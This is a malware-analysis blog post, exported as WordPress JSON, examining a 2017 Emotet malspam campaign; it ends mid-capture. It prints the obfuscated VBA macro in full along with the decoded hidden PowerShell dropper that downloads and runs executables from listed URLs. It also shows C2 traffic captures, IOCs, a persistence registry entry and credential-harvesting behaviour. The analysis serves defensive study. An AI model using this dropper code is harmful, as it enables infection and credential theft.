{"id":917,"date":"2017-07-25T20:08:29","date_gmt":"2017-07-25T19:08:29","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=917"},"modified":"2017-07-25T20:33:34","modified_gmt":"2017-07-25T19:33:34","slug":"2017-07-25-malspam-leading-to-emotet-malware","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=917","title":{"rendered":"2017-07-25 Malspam Leading To Emotet Malware"},"content":{"rendered":"<p>Today&#8217;s post is based on a malicious email that I saw in out email filters. The email (seen below) had a simple link in it that took the user to a site that automatically started a download of a malicious Word document. Odd thing is that when you visited the site in IE8, it would not allow you to connect. The link seemed to work just fine in Chrome or via Malzilla. <\/p>\n<p>From what I am able to gather based on the network traffic within the PCAP files along with the results from the Virustotal and Hybrid-Analysis links, it looks as if this is a Emotet infection. This infection does not match all the patterns of Emotet that I have seen before. In this example, the only GET request is to get the first malicious binary (I am assuming that there was another GET request which pulled the other file down &#8211; more on that in a bit). From there, all recorded communications are done via POSTs using ports 443 or 8080 where in the other examples that I have seen, the GET requests were the ones that would have the cookie set and the fake 404 page being returned. The only common pattern between this and the other Emotet examples I have seen are the callbacks to the malicious IP addresses using port 8080.<\/p>\n<p>All artifacts, PCAP files, and the Process Monitor log can be found in my Github repo which you can find <a href=\"http:\/\/github.com\/bloomer1016\/2017-07-25-Emotet-MalDoc\" target=\"_blank\">here<\/a>.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/email-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/email-1.png\" alt=\"\" width=\"767\" height=\"265\" class=\"aligncenter size-full wp-image-918\" \/><\/a><\/p>\n<p>IOCs:<br \/>\n=====<br \/>\npkfans.com \/ 216.14.208.111<br \/>\nsiindia.in \/ 103.240.104.231 (TCP:80)<br \/>\nwww.todofrog.com \/ 194.132.50.54<br \/>\nsegurodecenalsinoct.segurox.es \/ 185.123.204.173<br \/>\nrgv2.com \/ 192.185.244.211<br \/>\ngracetheweb.co.uk \/ 91.121.84.118<br \/>\n178.79.132.214 (TCP:443)<br \/>\n158.69.199.223 (TCP:8080)<br \/>\n192.241.222.53 (TCP:443)<\/p>\n<p>Artifacts:<br \/>\n==========<br \/>\nFile name: GWTQ747195.doc<br \/>\nFile size: 96KB<br \/>\nMD5 hash: d43707dea7acb647d1394ec60a8a9460<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2\/analysis\/<\/a><br \/>\nDetection ratio: 4 \/ 57<br \/>\nFirst submission: 2017-07-25 06:33:47 UTC<br \/>\nMalwr (latest submission): <a href=\"http:\/\/malwr.com\/analysis\/NDlhMDcxOWNmODRiNGEzY2JlZTNiNDkyNDRlOWE5NjE\/\" target=\"_blank\">http:\/\/malwr.com\/analysis\/NDlhMDcxOWNmODRiNGEzY2JlZTNiNDkyNDRlOWE5NjE\/<\/a><br \/>\nHybrid-Analysis: <a href=\"http:\/\/www.reverse.it\/sample\/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/47332bd975efe20e32dd5640ec2c87f13f60fe752d9c06dbc8eae01ea81c23c2?environmentId=100<\/a><\/p>\n<p>File name: 12721.exe<br \/>\nFile size: 160KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp<br \/>\nMD5 hash: dd7a7d9fac4cd59536a050c536e8719a<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36\/analysis\/<\/a><br \/>\nDetection ratio: 15 \/ 64<br \/>\nFirst submission: 2017-07-25 09:37:04 UTC<br \/>\nMalwr: NA<br \/>\nHybrid-Analysis: <a href=\"http:\/\/www.reverse.it\/sample\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100<\/a><\/p>\n<p>File name: wlanwin.exe<br \/>\nFile size: 160KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\<br \/>\nMD5 hash: dd7a7d9fac4cd59536a050c536e8719a<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36\/analysis\/<\/a><br \/>\nDetection ratio: 15 \/ 64<br \/>\nFirst submission: 2017-07-25 09:37:04 UTC<br \/>\nMalwr: NA<br \/>\nHybrid-Analysis: <a href=\"http:\/\/www.reverse.it\/sample\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/b3c292e9504aa6934dfdbaa2a180df2eca1af46a92a2a2b907250d965c3c3f36?environmentId=100<\/a><\/p>\n<p>File name: KB21091875.exe<br \/>\nFile size: 191KB<br \/>\nFile path: C:\\Users\\%username%\\AppData\\Local\\Temp<br \/>\nMD5 hash: fcfab755b242536de1bbda1d8e0f560a<br \/>\nVirustotal: <a href=\"http:\/\/virustotal.com\/en\/file\/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b\/analysis\/\" target=\"_blank\">http:\/\/virustotal.com\/en\/file\/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b\/analysis\/<\/a><br \/>\nDetection ratio: 14 \/ 63<br \/>\nFirst submission: 2017-07-25 12:36:56 UTC<br \/>\nMalwr: NA<br \/>\nHybrid Analysis: <a href=\"http:\/\/www.reverse.it\/sample\/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b?environmentId=100\" target=\"_blank\">http:\/\/www.reverse.it\/sample\/f9b044b65b9a2f9fff2920cdf78ad73bbbdc215d81dac65968f5f284b09bbf1b?environmentId=100<\/a><\/p>\n<p>Analysis:<br \/>\n=========<br \/>\nThis infection is a pretty standard infection vector for end-users as you can see in the image below. The user clicks on the link in the email and downloads a Word document that has a malicious macro in it. Using OfficeMalScanner, I was able to pull out the pertinent parts from the Word document that OfficeMalScanner deemed malicious.<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Word-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Word-1.png\" alt=\"\" width=\"1465\" height=\"992\" class=\"aligncenter size-full wp-image-925\" \/><\/a> <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Files.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Files.png\" alt=\"\" width=\"1300\" height=\"399\" class=\"aligncenter size-full wp-image-919\" \/><\/a><\/p>\n<p>Looking at the files that OfficeMalScanner was able to produce, I started with the one called &#8220;This Document&#8221; since this is the start of a macro within a Word document. Below is the contents of that file:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nAttribute VB_Name = &quot;ThisDocument&quot;\r\nAttribute VB_Base = &quot;1Normal.ThisDocument&quot;\r\nAttribute VB_GlobalNameSpace = False\r\nAttribute VB_Creatable = False\r\nAttribute VB_PredeclaredId = True\r\nAttribute VB_Exposed = True\r\nAttribute VB_TemplateDerived = True\r\nAttribute VB_Customizable = True\r\n\r\nSub Document_Open()\r\n\tPRekl = &quot;cG93ZXJzaGVsbCAt&quot;\r\n\tJcsmLFtP = &quot;V2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdT&quot;\r\n\tsnWqf0 = &quot;Y3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I&quot;\r\n\tp6Fjxva = PRekl &amp; JcsmLFtP &amp; snWqf0\r\n\tJzo4Ht3V = &quot;jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N&quot;\r\n\tgsoVWb = &quot;0cmluZygpLCAkcGF0aCk7U&quot;\r\n\tG5AtFf3LO = Jzo4Ht3V &amp; gsoVWb\r\n\taj04c = &quot;G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JH&quot;\r\n\tSY1KOT = &quot;JhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1&quot;\r\n\tmy2FUgcR = &quot;cmxzID0g&quot;\r\n\tCMzLkgQ = &quot;J2h0dHA6Ly9zaWluZGlh&quot;\r\n\tHBzLujm = aj04c &amp; SY1KOT &amp; my2FUgcR &amp; CMzLkgQ\r\n\tv06idMrR = &quot;LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3Nl&quot;\r\n\tcVInx = &quot;Z3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL&quot;\r\n\tZVfcRrWvg = v06idMrR &amp; cVInx\r\n\txZnKJq9h = &quot;3Jnd&quot;\r\n\trcO8LUIa = &quot;jIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7&quot;\r\n\tUi3Zz = xZnKJq9h &amp; rcO8LUIa\r\n\tIFihGa = &quot;JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRo&quot;\r\n\tZpqxNk = &quot;ID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF&quot;\r\n\tQ3KrneVxB = IFihGa &amp; ZpqxNk\r\n\tiEJxgcqn = &quot;Q=&quot;\r\n\tdKopwt6Nm = Chr(61)\r\n\tKW6P7X = iEJxgcqn &amp; dKopwt6Nm\r\n\tbtk0pUY = &quot;3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZT&quot;\r\n\tGqEx5ut = &quot;t9f&quot;\r\n\tAuO5hG = btk0pUY &amp; GqEx5ut\r\n\tUT1HW = p6Fjxva &amp; HBzLujm &amp; ZVfcRrWvg &amp; Ui3Zz &amp; Q3KrneVxB &amp; G5AtFf3LO &amp; AuO5hG &amp; KW6P7X\r\n\tCall runm(UT1HW)\r\nEnd Sub<\/pre>\n<p>Below is the cleaned up version:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nSub Document_Open()\r\n\tPRekl = &quot;cG93ZXJzaGVsbCAt&quot;\r\n\tJcsmLFtP = &quot;V2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdT&quot;\r\n\tsnWqf0 = &quot;Y3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I&quot;\r\n\tp6Fjxva = cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9I\r\n\r\n\tJzo4Ht3V = &quot;jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N&quot;\r\n\tgsoVWb = &quot;0cmluZygpLCAkcGF0aCk7U&quot;\r\n\tG5AtFf3LO = jaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N0cmluZygpLCAkcGF0aCk7U\r\n\r\n\taj04c = &quot;G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JH&quot;\r\n\tSY1KOT = &quot;JhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1&quot;\r\n\tmy2FUgcR = &quot;cmxzID0g&quot;\r\n\tCMzLkgQ = &quot;J2h0dHA6Ly9zaWluZGlh&quot;\r\n\tHBzLujm = G5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9zaWluZGlh\r\n\r\n\tv06idMrR = &quot;LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3Nl&quot;\r\n\tcVInx = &quot;Z3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL&quot;\r\n\tZVfcRrWvg = LmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3NlZ3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL\r\n\r\n\txZnKJq9h = &quot;3Jnd&quot;\r\n\trcO8LUIa = &quot;jIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7&quot;\r\n\tUi3Zz = 3JndjIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7\r\n\r\n\tIFihGa = &quot;JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRo&quot;\r\n\tZpqxNk = &quot;ID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF&quot;\r\n\tQ3KrneVxB = JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRoID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWF\r\n\r\n\tiEJxgcqn = &quot;Q=&quot;\r\n\tdKopwt6Nm = Chr(61)\r\n\tKW6P7X = Q==\r\n\r\n\tbtk0pUY = &quot;3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZT&quot;\r\n\tGqEx5ut = &quot;t9f&quot;\r\n\tAuO5hG = 3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZTt9f\r\n\r\n\tUT1HW = cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ2h0dHA6Ly9zaWluZGlhLmluL29hZ2NtZ2dwYS8saHR0cDovL3d3dy50b2RvZnJvZy5jb20vcHpway8saHR0cDovL3NlZ3Vyb2RlY2VuYWxzaW5vY3Quc2VndXJveC5lcy9nbi8saHR0cDovL3JndjIuY29tL3dqYmxud3kvLGh0dHA6Ly9ncmFjZXRoZXdlYi5jby51ay9jZHliaC8nLlNwbGl0KCcsJyk7JG5hbWUgPSAkcmFuZG9tLm5leHQoMSwgNjU1MzYpOyRwYXRoID0gJGVudjp0ZW1wICsgJ1wnICsgJG5hbWUgKyAnLmV4ZSc7Zm9yZWFjaCgkdXJsIGluICR1cmxzKXt0cnl7JHdlYmNsaWVudC5Eb3dubG9hZEZpbGUoJHVybC5Ub1N0cmluZygpLCAkcGF0aCk7U3RhcnQtUHJvY2VzcyAkcGF0aDticmVhazt9Y2F0Y2h7d3JpdGUtaG9zdCAkXy5FeGNlcHRpb24uTWVzc2FnZTt9fQ==\r\n\r\n\tCall runm(UT1HW)\r\nEnd Sub<\/pre>\n<p>As seen from the cleaned up code above, everything is base64 encoded. There is a call for the function &#8220;runm&#8221; which passes the parameter of &#8220;UT1HW&#8221; which is also the last variable in the sub-routine. All the other files are junk at this point and can be ignored\/excluded.<\/p>\n<p>Knowing that the code is all in this one file, and that it is all base64 encoded, all that is needed is to run this through a base64 decoder. The following is the base64 code decoded:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\npowershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http:\/\/siindia.in\/oagcmggpa\/,http:\/\/www.todofrog.com\/pzpk\/,http:\/\/segurodecenalsinoct.segurox.es\/gn\/,http:\/\/rgv2.com\/wjblnwy\/,http:\/\/gracetheweb.co.uk\/cdybh\/'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}<\/pre>\n<p>So now we know that this malicious Word document is using Powershell to reach out to the above mentioned URLs to work as a dropper. Knowing this, I decided to run the Word document to see what would happen. From the network side of things, this looks to be pretty straight forward as seen below:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Wireshark.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Wireshark.png\" alt=\"\" width=\"1344\" height=\"301\" class=\"aligncenter size-full wp-image-923\" \/><\/a><\/p>\n<p>The script reaches out to the domain &#8220;siindia[.]in&#8221; to grab a malicious binary:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/oagcmggpa\/ HTTP\/1.1\r\nHost: siindia.in\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Tue, 25 Jul 2017 10:25:06 GMT\r\nServer: Apache\/2.2.15 (CentOS)\r\nX-Powered-By: PHP\/5.3.3\r\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\r\nPragma: no-cache\r\nContent-Disposition: attachment; filename=&quot;w.exe&quot;\r\nContent-Transfer-Encoding: binary\r\nConnection: close\r\nTransfer-Encoding: chunked\r\nContent-Type: application\/octet-stream\r\n\r\n2000\r\nMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.\r\n\r\n$..........w..i$..i$..i$...$..i$...$..i$..h$..i$.W.$..i$...$..i$...$..i$...$..i$Rich..i$................PE..L.....vY..............<\/pre>\n<p>Then there is some communication back to the IP address of 178.79.132.214 over port 443 via two POST commands. This is NOT encrypted traffic even though it is over port 443 and made to look like it goes to a dead page (returns a 404 HTTP code even though there is 437524 bytes returned for example). Note that while this is not encrypted HTTPS traffic, the communication is encrypted\/encoded.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nFrom STREAM 1\r\n-------------\r\nPOST \/ HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\r\nHost: 178.79.132.214:443\r\nContent-Length: 436\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n..Z.)._.!)..f,.$+.....@...j.........rZ.T-.j....Jw....:.K....J.....hv&amp;$.R...S1.2.T...Hb...Y@.`.QC)...\r\n.i(..\r\n....N.&#x5B;w.Ey.\r\n..IIs.@.7l+&lt;..0.c..\t..,....MX.#.)O.......'...rZ.93f.......\r\n.&lt;........B&quot;=.. @~.\/..&gt;.y..Q..Wd...4u.+.......t:fRZ4....80...z!*....^0...&lt;u(.M.v..T....DN.$...h..o..3Q..&#x5B;=\r\nB.Pr...~.L.v..]I..Ea..\\...........Z?.#.u........A#....\\y..O...`BT...J.@NIN.l...aS..w.b....&#x5B;S..O0}QY..l..l...k`...t.n..8(7......&#092;&#048;\th...B..l&gt;.K....*s.cO\r\n\r\nHTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Tue, 25 Jul 2017 10:25:19 GMT\r\nContent-Type: text\/html; charset=UTF-8\r\nContent-Length: 437524\r\nConnection: keep-alive\r\n\r\n.D.....m.&gt;...Q.....&lt;.\/+.!..8.....47..U.QM.....tDv0.9k..U.0..C..&gt;....a.E....!.U...J....G.._CW?.0.....3.....&#x5B;H{.g...H........TR.xx........q%.D......O.`\t....R.I....^..J1..Z%.....P.4EI...yI.e.(..z&gt;..8G...H.~.O.J..9|...Lj.o...)1..\r\n...&amp;:...&gt;.J.....a...n........yB....m......F........&gt;.\t..-........X..!s....u....\r\n..z..F...En.^...NX..7...'.%.......\\..2.....&lt;K:E..&#x5B;.~......pc\r\n\r\n-----\r\n\r\nPOST \/ HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\r\nHost: 178.79.132.214:443\r\nContent-Length: 452\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n.U.......2....).f....6t......&#x5B;.....E.^......S.&quot;..U.m.vr.so(...i.....P............O..dU.:..]..Y:..e;.n..b...o.@...:..Y.`2.D.5.T........v.K..7,...+......Q...w._.t.-.....f....b....L....O..G.J..0.....w.Cf..y.\t.......g.ma.D...o..D.&lt;.....,.....\\H....TE6B..d.....e*..7...(...~1..........N.%a|.pkK.d....L,....&lt;...O..;w\\....xC.\/............N....i...g#..+....W.2W.........LY.H.....a... ..0=k.H.c.X....#&quot;\r\n..q....7!.CB....&gt;...M.P..Q..W.4.....R.....&lt;.F...U......@..\r\n\r\nHTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Tue, 25 Jul 2017 10:25:22 GMT\r\nContent-Type: text\/html; charset=UTF-8\r\nContent-Length: 148\r\nConnection: keep-alive\r\n\r\n.U..!....M.=.....Vy..a..j..*.V3..$......,..|..mE..J....{..9.-....`3^.L...,..T..,W.....1.........P!c.J.i...w.......\/..] ......K..x~..dg.\t&amp;LHk..N;tS7b\r\n\r\n-----\r\n\r\nFrom STREAM 2\r\n-------------\r\nPOST \/ HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\r\nHost: 192.241.222.53:443\r\nContent-Length: 276\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nu..........^g..v.......Rzb.....&quot;oA.P...B.?..MV.Ssp.\t].&quot;...K@e.\\...Y.l\\&#x5B;A.:T.I@..B.T..v..1].'..E]...`g.6..|\\. ....EO.....&amp;.Zn....c.(..Q.1q.....qj\r\n.J..Iu.o...t $..b....t.n.:.g.b...%y..I.........m_.~4.......&amp;..U0qX?....)MA.Y...-...uN|.e.....Y!....e 8.vi...P..$C.ce...z.0(.c..&lt;.].\r\n\r\nHTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Tue, 25 Jul 2017 10:25:37 GMT\r\nContent-Type: text\/html; charset=UTF-8\r\nContent-Length: 148\r\nConnection: keep-alive\r\n\r\n9..f.\/.%......r...M&gt;.6..3S....x.&gt;%..a.]O..iI.4|............8s..4:......&#x5B;H;...(....)..Sww.m.py..D&#x5B;.,j..{&lt;...CX.E;....V......`.O...&amp;..........`....g..<\/pre>\n<p>From the host side, this seems to be pretty straight-forward as well. Once the malicious macro has run, it used Powershell (as seen above) and pulled down the file 12721.exe (randomly generated name saved to C:\\Users\\%username%\\AppData\\Local\\Temp) which proceeded to open and close several instances of itself before opening a new process called &#8220;wlanwin.exe&#8221; in a new directory (C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\). This new file then proceeds to clone itself and start a new process while killing off the old processes (very much like the 12721.exe process did). The last &#8220;wlanwin.exe&#8221; can be seen in a &#8220;CLOSE_WAIT&#8221; status connected to the IP address of 178.79.132.214. I also saw that &#8220;wlanwin.exe&#8221; wrote to three files called &#8220;FF36.tmp,&#8221; &#8220;FF37.tmp,&#8221; and &#8220;FF57.tmp&#8221; in the &#8220;C:\\ProgramData&#8221; folder but I was not able to capture those files since the &#8220;wlanwin.exe&#8221; process deleted the files. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/ProcMon.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/ProcMon.png\" alt=\"\" width=\"1559\" height=\"225\" class=\"aligncenter size-full wp-image-921\" \/><\/a><\/p>\n<p>When looking at the two files (12721.exe and wlanwin.exe) themselves, they are the same size and also have the same hash so most likely the code behind 12721.exe instructs a clone of itself to be made to a new directory with a new name. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Mal_Files.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Mal_Files.png\" alt=\"\" width=\"744\" height=\"510\" class=\"aligncenter size-full wp-image-920\" \/><\/a><\/p>\n<p>I also noticed within the Process Monitor logs that wlanwin.exe (PID: 3028) scanned the system looking for various things (ie: C:\\Users\\%username%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data) looking for what I can only assume are credentials stored in Chrome while wlanwin.exe (PID: 2192) was looking for other bits from Outlook and some other pieces of software like Thunderbird, and Microsoft Mail. I also noticed a pattern when looking at all the different &#8220;wlanwin.exe&#8221; processes. It looked like whenever one of the &#8220;wlanwin.exe&#8221; processes was looking at different registry keys\/file locations for user credentials and such, it would write to the FF*.tmp file and then close that file as you can see below:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Writing-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Writing-1.png\" alt=\"\" width=\"1896\" height=\"857\" class=\"aligncenter size-full wp-image-926\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Writing-2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2017\/07\/Writing-2.png\" alt=\"\" width=\"1897\" height=\"863\" class=\"aligncenter size-full wp-image-927\" \/><\/a><\/p>\n<p>Persistence is obtained on the system by &#8220;wlanwin.exe&#8221; writing to the &#8220;HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&#8221; key.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nName: wlanwin.exe\r\nPID: 2368\r\nDate: 7\/25\/2017 11:25:23 AM\r\nPath: &quot;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\wlanwin&quot;\r\nOperation: RegSetValue\r\nResult: Success\r\nType:\tREG_SZ\r\nLength:\t120\r\nData:\t&quot;C:\\Users\\Bill\\AppData\\Local\\Microsoft\\Windows\\wlanwin.exe&quot;<\/pre>\n<p>After a while of just letting the VM sit there and continue to communicate out, I came back to it to discover that another file in the TEMP folder had been created (KB21091875.exe) and that it was talking out to the IP address of 158.69.199.223 over port 8080. Since I had already turned off everything I was not able to see what or how this new file got onto my VM. I opened up Wireshark to see if I could get some more information about this new IP address via port 8080. The PCAP from this run is called &#8220;2017-07-25 Emotet-2.pcap&#8221; for reference. From what I could see, this looks to be the same as the above POSTs but now to a couple more IP addresses.<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nPOST \/ HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\r\nHost: 158.69.199.223:8080\r\nContent-Length: 388\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n.-...l8.}\r\nl......\r\nz...s...p...&gt;$.....LNG$d.*.g..24.....P..ku....gZ...?YC.K.r.q...bE0 .....i...a)....bVx..L&gt;..18...]+...P.n;?..E..amp-..m...J.w'|.7f\r\n-....d.\t..r....T.6...{q........8...is..J..z.......z...d....I..?.......#..a.....c\/M`.D...I..^SNs 